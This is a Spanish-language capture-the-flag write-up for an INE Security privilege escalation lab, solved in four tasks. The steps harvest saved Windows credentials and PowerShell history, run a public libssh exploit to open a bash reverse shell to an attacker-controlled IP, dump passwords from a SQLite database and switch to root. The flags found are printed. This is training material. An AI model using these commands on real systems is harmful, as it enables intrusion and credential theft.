~/write-ups/writeup-3cb7d93542-011ebf28

Privilege Escalation CTF 1

Imported from Notion: Privilege Escalation CTF 1

target:: INE Security os:: mixed MEDIUM date:: 2026.08.29 privesc notion

Pistas:

  • Task 1: Extract stored credentials from target1.ine.local

  • Task 2: Analyze system history on target1.ine.local to uncover sensitive data

  • Task 3: Exploit vulnerable services on target2.ine.local to gain a shell

  • Task 4: Extract database files on target2.ine.local to retrieve root credentials


Tenemos acceso al primer target, a si que vamos a buscar ahi directamente, abrimos power​shell:

cmdkey /list
Notion image
Notion image
runas.exe /savecred /user:john cmd
Notion image
Notion image

Ahora vamos a buscar la flag:

dir C:\flag* /s /b /a 2>nul
Notion image
Notion image

FLAG 1: dfba5e5abb7b49518f84e54b7864c3d9


Vamos con la segunda pista, nos dice que busquemos en el historial:

type "%APPDATA%\Microsoft\Windows\Power​Shell\PSReadLine\Consol​eHost_​histor​y.txt"
Notion image
Notion image

Vamos a hacer como antes:

runas.exe /user:​admini​strato​r cmd

E introducimos la password que previamente hemos obtenido.

Buscamos la flag:

dir C:\flag* /s /b /a 2>nul
Notion image
Notion image

FLAG 2: 75b488e35464457a86d6f0160636755c


Vamos con la pista 3, dice un servicio vulnerable, a si que vamos a lanzar un nmap

nmap -sSV -T4 -Pn 192.11​1.245.​3
Notion image
Notion image

Vamos a buscar en searchsploit

search​sploit​ libssh 0.8
Notion image
Notion image

Tenemos un script python, vamos a descargarlo y modificarlo si es necesario:

search​sploit​ -m linux/​remote​/46307​.py
Notion image
Notion image

Vemos en la funcion que debemos pasar IP, puerto y comando.

python3 46307.py target​2.ine.​local 22 whoami
Notion image
Notion image

Vamos a lanzarnos una revshell.

Primero, levantamos nc

nc -lvnp 4444

Despues ejecutamos:

python3 46307.py target​2.ine.​local 22 '/bin​/bas​h -i >& /dev/t​cp/192​.92.67​.2/444​4 0>&1'

Cambia la IP.

Notion image
Notion image

Vamos a buscar la flag:

find / -name flag* 2>/dev/null
Notion image
Notion image

FLAG 3: ede0403dd2e94e1a848ed17f5f5dd9fb


La pista 4 habla sobre credenciales en bases de datos, vamos a buscar DBs:

find / -type f \( -iname "*.db" -o -iname "*.sqlite" -o -iname "*.sqlite3" -o -iname "*.sql" \) 2>/dev/null
Notion image
Notion image

Vemos una db bastante interesante en /home/webapp/database.db

Vamos a ver que hay:

sqlite3 /home/​webapp​/datab​ase.db​ '.tables'
sqlite3 /home/​webapp​/datab​ase.db​ '.schema'
Notion image
Notion image

Ahora vamos a volcar el contenido de la db:

sqlite3 /home/​webapp​/datab​ase.db​ 'SELECT id, username, password FROM users;'
Notion image
Notion image

Vamos a loguearnos como root

su root

E introducimos la password.

Una vez introducida no tenemos una shell interactiva, a si que:

/bin​/bas​h -i -p

Y buscamos la ultima flag:

find / -name flag* 2>/dev/null
Notion image
Notion image

FLAG 4: 5ebf412ec3124502b6db4fc7804fecd0


- EOF -

<< back_to_index